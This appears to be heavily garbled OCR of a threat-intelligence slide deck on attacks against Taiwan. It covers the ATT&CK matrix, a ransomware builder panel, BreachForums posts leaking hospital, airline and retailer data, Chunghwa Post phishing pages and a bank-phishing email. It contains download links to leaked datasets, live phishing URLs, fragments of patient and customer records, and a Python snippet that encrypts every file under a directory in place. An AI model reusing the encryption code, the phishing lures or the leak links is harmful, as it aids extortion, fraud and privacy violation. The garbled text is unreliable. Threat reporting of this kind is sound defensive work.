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Techniques ~

Data Sources

Mitigations ~
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Search Q_

ATT&CK Matrix for Enterprise
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show sub-technigues

hide sub-technigues

Reconnaissance

10 technigues

Resource
Development
7 technigues

Initial Access

9 techniques

Execution

13 technigues

Persistence

19 techniques

Privilege Escalation

13 techniques

Defense Evasion

42 technigues

Credential Access

17 technigues

Discovery

30 technigues

Lateral Movement

9 techniques

Collection

17 technigues

Command and
Control
16 technigues

Active Scanning (3)

Gather Victim Host
Information (1)

Gather Victim Identity
Information {3y

Gather Victim Network
Information (&)

Gather Victim Org
Information (4)

Phishing for
Information (g3)

Search Closed Sources ()

Search Open Technical
Databases ()

Search Open
Websites/Domains (z)

Search Victim-Owned
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Compromise
Accounts (3)

Compromise
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Develop
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Establish
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Obtain
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Drive-by
Compromise
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Compromise [3)

Command and Scripting
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Container
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Command
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Execution
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Serverless Execution
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Software Deployment
Tools
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Autostart
Execution (14)
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Browser Extensions
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Abuse Elevation
Control
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Access Token
Manipulation {s)
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Execution (14)
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Create or Modify
System Process (4)

Create Account (z)
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System Process (4)
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Execution (1)
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External Remote
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Hijack Execution
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Direct Volume Access

Brute Force (1)
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Authentication
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Exploitation for Defense Multi-Factor
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Hide Artifacts (1g)

Authentication
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Multi-Factor
Authentication
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Medify Scheduled mpair Defenses (g)
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Process (7) ndicator Removal ()

Office Application
Startup (g)

Pre-0S Boot (5)
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Server Software
Component (s
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Execution
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Steal Application
Access Token
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Authentication
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Process (7)
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Password Pelicy Discovery
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Permission Groups
Discovery (3)
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Discovery

System Location
Discovery 1)

Systemn Network
Configuration Discovery (1)

Exploitation of
Remote Services

Internal
Spearphishing

Lateral Tool
Transfer

Remote Service
Session
Hijacking (2)

Remote
Senvices (g)

Replication
Through
Removable Media

Software
Deployment Toals

Taint Shared
Content

Use Ahernate
Authentication
Material (4

Adversary-in-the-
Middle {3y

Application Layer
Protocol (4)

Exfiltration

9 techniques

Automated
Exfiltration {1)

Impact

13 techniques

Archive Collected
Data (1)

Audio Capture

Automated
Collection

Browser Session
Hijacking

Clipboard Data

Data from Cloud
Storage

Data from
Configuration
Repository {7

Data from
Information
Repositories (3)

Data from Local
System

Data from Metwork
Shared Drive

Data from
Removable Media

Communication
Through Removable
Media

Data Encoding (z)

Data Obfuscation (3

Dynamic
Resolution {3)

Encrypted
Channel 2)

Data Transfer Size
Limits

Exfiltration Over
Ahernative
Protocol (3)

Account Access
Removal

Data Destruction

Data Encrypted for
mpact

Data Manipulation 3)

Exfiltration Over
C2 Channel

Exfiltration Over
Other Network
Medium {1y

Defacement (z)

Disk Wipe 2)

Endpoint Denial of
Service [4y

Fallback Channels
Ingress Tool Transfer

Multi-Stage
Channels

Mon-Application
Layer Pratocol

MNon-Standard Port
Protocol Tunneling

Proxy (4 n

Remote Access
Software

Data Staged (2)

Traffic Signaling (=)

Email Collection (3)

Web Service (3)

Input Capture (1)

Screen Capture

Video Capture

Exfiltration Over
Physical
Medium (1

Exfiltration Over
Web Service (2)
Scheduled
Transfer

Transfer Data to
Cloud Account

Firmware Corruption

nhibit System
Recovery

Resource Hijacking

Service Stop
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Create a malware

Ransomware

Al sl M

First time logging in
This is your secret token for recovering your password:

Malwares 1 Balance 0.00000000 B
Infections 1

Withdraw
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~ Taiwan Mackay Memorial Ho: X

< c 22 breachforums.st/Thread-Taiwan-Mackay-Memarial-Hospital-v -mmbh-org-tw-All-patient-data?highlight=mmh.org.t SR ¢ L )

Taiwan Mackay Memorial Hospital, www.mmh.org.tw All patient data
by Crazyhunter - Friday February 28, 2025 at 07:07 PM
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https:// mega nz/file/ 5FZhXBrZ#n?qGV6UJtT ArSwLCrEyE
S10ERR - 8152 = 563 TP-HIS_REQUESTS_10000.csv
Breached b}ztpscif mega. .nz/file/gAwOGYqI#NIIOk30zUs...B6N-YNymNY
7K E Bt TS-HIS_REQUESTS__10000.csv
https://mega.nz/file/EEQDIQSQ#NoHWVL_KO03...vQkU4EMtWo
MEMBER &SRB TT-HIS_REQUESTS_10000.csv
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Posts 2 Please note: The data will be in the public disclosure period for the next 10 days. It will not be sold during
Threads: 1 the public disclosure period. | will start trading on March 10, 2025

Joined: Feb 2025
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Need a middleman? Try out our Escrow App!
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Taipei Hospital

TP-nrtemp-8939036

TP-lislabdata-3879771

TP-his_requests-7615177

1000 data samples per table
https://mega.nz/folder/0U42hTQa#TDesoTQcECozFJGceXSU_A
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2 Tamsui Hospital
1 TA-his_request2-2827508
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=21
Glucometer 3R [MiEFfeEE 132  MG/DL
ZZ S #E: 70-99 me/dL
ER1ZPR/NFF ¢ <140meldL
" T¥,NULLNULLNULL,NULL,NULL,NULL,F,1,347 ¥%,Y,Y,Y,0 days 08:32:56,347,000938857@,D15,‘4"
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JE H & H GEEME By SE{HEE

[URINE ]
SCREEN TEST

Specific Gravity  1.019 1.003 - 1.035
pH 55 5.0 - 8.0
Frotein Negative Negative
Glucose 2+ Negative
Ketone Bodies Negative Negative
Bilirubin Negative Negative
Occult Blood Negative Negative
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[TW]TaiWan's revenue of 30 billion enterprise Breeze Group, data leakage
by smatret - Friday February 17, 2023 at 12:55 PM

smatret

BreachForums User

MEMBER

CRETE(!-!

#1

BIEBZE Group, a well-known chain enterprise in Taiwan, with more than a dozen offline shopping malls and 2 luxury online shopping malls,
with an annual turnover of NTS$30 billion.

The leaked data includes all business data, internal company data,supplier data, etc., personal infor of 900,000 users, points infor,
account infor, invoice Infor » order infor,coupon infor, bank coupon infor : payment infor, etc., 30 project source codes.

The database includes enterprise database, wallet payment database, and online mall database, with a total size of more than 150G.

Here are the samples, if you need more detailed sample data, please pmme : )
users:

https://breached.vc/anonfiles-01/WbzdWO0Yey6/user_csv
orders:

https://breached.vc/anonfiles-01/V8zfW3Y8y7/order_csv
Below are some screenshots, including file information and some data table structures, | hope it will be helpful to you:
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5 B 958, 370 F223 382 2z Ef 490 {8 By o0g3448 yihje ‘er@gmail.com
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{"Result":"1" "ErrorCode":"000000","NeedRelogin":0,"NeedUpgrade":0,"ErrorMessage":"Success”,"Data": { "LoveCo
SIS EFESS " "LoveCode":"4399", "LoveShortName":"","UNICode"-"48930399"}, { "LoveName™"tIEZ A &
","LoveCode":"520999","LoveShortName":"","UNICode":"17033201"}.{"LoveName" "SI HE A Z T H R WEX
E"."LoveCode":"528" "LoveShortName":"¥1 7T/ E","UNICode":"02859871"}.{ "LoveName"-"S EZ A it EE Hi
2","LoveCode":"123999" "LoveShortName":" X2 B" "UNICode":"26334592"},{"LoveName":"81H ' A\ EEH B4t
B","LoveCode":"168","LoveShortName":"¥1 £ R Z§","UNICode":"26316757"},{"LoveName":"it B Z AP ERE
="."LoveCode":"94218" "LoveShortName":"18°C" "UNICode":"26923839"} ,{"LoveName" "I EZ A PEX L £]
","LoveCode":"3969","LoveShortName": "R FHE®","UNICode":"39693732"},{"LoveName" "SR BESERRE
="."LoveCode":"1314515","LoveShortName"-"B EZ1Z", "UNICode":"38522275"}.{ "LoveName":"81 E= A 2457
2"."LoveCode":"3405","LoveShortName":"1E M E1#7" "UNICode":"50256104"},{"LoveName" " A WA FIETEE
Z=" "LoveCode":"1458","LoveShortName":"iZ2 = ZE &" "UNICode":"81319322"},{"LoveName" "{1 EZAZEH 2
=","LoveCode":"2855669","LoveShortName": "B &£ 4& 1" "UNICode":"74823748"},{"LoveName":"iT Bz A P E2
®","LoveCode":"5991","LoveShortName":"#®%" "UNICode":"99181480"},{"LoveName":"it EZ AF ZEEEEZE
="."LoveCode":"9598" "LoveShortName":"ZE f &","UNICode":"72779398"}.{"LoveName":"{ T E)Z ABIET E*
®/"."LoveCode":"85179" "LoveShortName":"Fiff B AR ", "UNICode":"72311411"}, {"LoveName":" 81 H:x A E W% F
="."LoveCode":"0524" "LoveShortName":"", "L'\'ICode" "42390254"},{"LoveName""i1 EZ A S ZEHTFEZRS
8"."LoveCode":"17880","LoveShortName":" 2 L £ 4", "UNICode":" 77791797}, {"LoveName":"E [E M T R E §5 2
ﬁ","Lox'eCode":"27lS".“LoveShoﬂ.\'ame":"iﬁI’r.ﬁ ,"UNICode":"92000392"}.{"LoveName"-"81E = A SEIH
&"."LoveCode":"17520","LoveShortName":"","UNICode":"01051934"} .{ "LoveName":"{IEZ A S B2 HEE VL
"."LoveCode":"6161","LoveShortName":"","UNICode":"26641830"},{"LoveName™-"BIEZ A X T EEELS""
X" "LoveCode":"176"."LoveShortName": gg? X" "UNICode":"01055474"}.{"LoveName"-"sTEZ A 2 25’3&'!
" "LoveCode":"0329","LoveShortName":"","UNICode":"42303907"}, ("LoveName": "B H 'z AR EES "

=" "UNICode":"78525988"},{"LoveName" " EXE R F L EB FES","LoveCode":"9580","LoveShortName":"
W= "LoveCode":"516888","LoveShortName":"#2 I ZZ M 2" "UNICode":"81581040"},{"LoveName" "5 HE A
2","LoveCode":"1103","LoveShortName":"HEZES=8","UNICode™:"17151918"},{"LoveName" ;1 ZZ A S EH
52 LL3TH" "UNICode":"00959163"}.{"LoveName"-"{1 Mz A EREEMNEEMEE FM{EES" "LoveCode":'
8"."UNICode":"81385244"},{"LoveName" "B R EEHFIESBEI E 2 AFIERR"."LoveCode":"555","Love!
S","UNICode":"31825507"},{"LoveName" "B Z AT HAUHN S EF L SEFZEEEEES8","LoveCode
$2°,"UNICode":"26887242"},{"LoveName": "3t 'z A M MEH W t "LoveCode":"3510","LoveShortName
EARLTEREEZ T BESESS" " "LoveCode":"600","LoveShortName":"5 52 T 38" "UNICode":"31895762"},
TEEBWIZE" "LoveCode":"17899" "LoveShortName": "R ¥ 1B iZ /" "UNICode":"87011118"},{"LoveName":" {1 23
" "LoveCode":"2995" "LoveShortName":"F38{&" "UNICode"-"20417194"}. {"LoveName"-"S=E T E1E ", "Love
£8" "UNICode":"02488772"},{"LoveName":"it H': AN BB B RN N SHREE" "LoveCode":"33635885","]
B"."LoveCode":"5214","LoveShortName":"","UNICode":"38979695"},{ "LoveName" "{1 Mt AR B BZ 2" "Lc
5","UNICode":"31817871"}.{"LoveName":"s T E ZAZ EH 234 E" "LoveCode™:"5220", "LoveShortName":" &
®"."UNICode":"72784136"},{"LoveName" "I M Z A MEER KB R®"."LoveCode":"520321","LoveShortd
{"LoveName":"tkET 7B EE2/\8" "LoveCode"-"9999999" "LoveShortName"-"i83EE =/)\" "UNICode"-"8’
2"."LoveCode":"2567","LoveShortName":"E 51 R &" "UNICode":"10791045"}.{"LoveName"-"#} B ‘= A th @ F.
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https://haveibeenpwned.com/

'»--have i been pwned?

Check if your email or phone is in a data breach

email or phone (international format)
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A member database from China Airlines (in Taiwan)
by famirump - Wednesday January 11, 2023 at 10:32 AM

#1

‘w‘ e is the example of data. There are N’ -elebrities and politicians contact information.

l'he data of another 50 celebrities will be announced next time )
These data come from the member database of China Airl nes, including more than 3 million membership data. Most celebrities in Taiwan are their members
They already knew on Jan. 4, 2023 that the data of 60 people would be released here on Jan. 11, 2023, but they did not make any response .
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Hello BreachForums Community
Today | will sell data from www.ris.gov.tw thanks for reading and enjoy!
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254 A Chunghwa post kcontact@gar.ninja>

F25E: Your order will be processed in the Chunghwa Post warehouse

TAIWAN POST

CHUMGERWA FOST Co. Lid,

Dear Costumer,

Your package 1s pending payment of the shipping fee. Please confirm the payment process (90 NT$) via the link below.

Click here
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Dear Costumer, https://creatinginfographics.net/wp-content/

themes/twentytwenty/inc/
Your package is pending payment of the ship chunghwa.post.php 2ss (90 NT$) via the link below.,
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1 2 @ 12 security vendors flagged this URL as malicious
/90

N

hitps://creatinginfographics net/wp-contentthemes/twentytwenty/inc/chunghwa post.php

creatinginfographics . net

X Community Score v/

DETECTION DETAILS LINKS COMMUNITY

Join the VT Community and enjoy additional community insights and crowdsourced detections.

Security vendors' analysis @

alphaMountain ai (1) Phishing
Avira (1) Phishing
CyRadar (1) Malicious
G-Data (1) Phishing
Lionic (1) Phishing
Viettel Threat Intelligence @ Phishing
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Do you want to automate checks?

Antiy-AVL (1) Malicious
BitDefender (1) Phishing
Fortinet (1) Phishing
Google Safebrowsing @ Phishing
Sophos (1) Phishing
Webroot (1) Malicious
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Chunghwa Post Co., Lt

ﬁl\] / '\ I\\|_,| YZE ( P h I S h I n g) Chunghwa post services [(TW)

Your package is being processed in
Chunghwa post department. Please note
that, confirmation of the shipping fee (90
TWD) must be done within 72 hours.

Package Information

Total 90 TWD

Order serial number

TW20100253652¢5F
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= /—/—/ | Card holder name
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© 2021 Chunghwa post services Ltd
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Contact Informations Accessibility Policies Privacy

& Disclaimer Publication Details
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For a secure payment we are using 3D secure
payment gateway supported by stripe®
SecureCodeTM.

Please enter the OTP SMS received on your
phone number to complete the payment

verification.
Chunghwa post
services
Amount 90 TWD
2022/09/13
Date 12:13:11
Card number XXXX XXXX XXXX
X1111

Visa & Mastercard® SecureCodeTM

[ SMS-Code ]

Enter the confirmation code received by
SMS:00:13
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1 6 \ @ 16 security vendors flagged this URL as malicious

/90

~— hitp://luxuriadesign.nl/b/Nf Tw/

luxuriadesign.nl
text/html; charset=UTF-8

X Community Score v

DETECTION DETAILS LINKS COMMUNITY

Join the VT Community and enjoy additional community insights and crowdsourced detections.

Security vendors' analysis

alphaMountain.ai (1) Phishing
Avira (1) Phishing
CyRadar (1) Malicious
ESET (1) Phishing
G-Data (1) Phishing
Lionic (1) Phishing
Seclookup (1) Mmalicious
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Do you want to automate checks?

Antiy-AVL (1) Malicious
BitDefender (1) Phishing
Emsisoft (1) Phishing
Fortinet (1) Phishing
Google Safebrowsing @ Phishing
Netcraft (D Malicious
Sophos (1) Phishing
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Subject: Urgent Notice: Your account is at risk, please take immediate action!
Dear valued customer,

We are your bank, and based on recent system monitoring, we have detected a major
risk with your account. If left unaddressed, it may lead to theft or other losses. In order
to safeguard your funds, we require you to verify and upgrade your account

immediately so that we can address the issue.

Please click on the link below and follow the prompts on our official website. If you
encounter any issues, please contact our customer service team who will assist you in

resolving the problem. It is imperative that you take action within 24 hours of receiving

this email to avoid any unnecessary losses.
Link: X000000CCOK

Thank you for your support and cooperation. We look forward to working with you to

maintain the safety of your funds and providing you with high-quality service.
Best regards,

Your bank service provider
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python [F] Copycode

st 05

m cryptography.fernet import Fernet

= Fernet.generate key()

] Y} as key file:
key file.write(key)

cipher = Fernet{key)

{root_path):
for root, dirs, files in os.walk{root path):
for file in files:

tile path =

os.path.join{root, file)

with open{file path, } as +:
data = f.read()
CRETECI-I

RPN ESIER 4 5




or file in files:
file path = os.path.join{root, file)

yith open{file path, 'rb") as +:

data = f.read()
encrypted data = cipher.encrypt(data)
iith open(file path, "'wb’) as +:

f.write(encrypted data)

7 PythonRJcryptography &
I fEFEFernet 2 R4 S 4118
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ChatGPT — Al Chat, Al Friend

Voice Chat Support any Various talking NIGHT MODE
with ChatGPT languages genres protect your eyes
Don't need to ter

f'm your Al
= coare ASKMe anything!
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